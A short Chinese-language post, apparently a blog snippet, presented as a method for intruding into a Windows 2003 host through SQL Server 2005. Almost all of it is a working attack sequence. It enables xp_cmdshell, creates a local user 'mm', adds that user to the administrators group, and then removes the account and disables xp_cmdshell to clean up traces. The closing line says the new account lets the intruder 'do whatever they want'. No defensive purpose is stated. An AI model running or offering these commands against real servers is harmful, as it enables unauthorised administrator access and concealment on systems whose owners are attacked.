sql2005入侵win2003主机方法

 

--添加一个管理员用户
exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'xp_cmdshell',1
reconfigure
exec xp_cmdshell 'net user mm 123 /add'
exec   xp_cmdshell   'net   localgroup   administrators   mm   /add'
...
 
--清理用户
exec xp_cmdshell 'net user mm /del'
exec sp_configure 'xp_cmdshell',0
reconfigure
exec sp_configure 'show advanced options',0
reconfigure
这时候就可以用新建的账户登录,为所欲为了

你可能感兴趣的:(sql2005入侵win2003主机方法)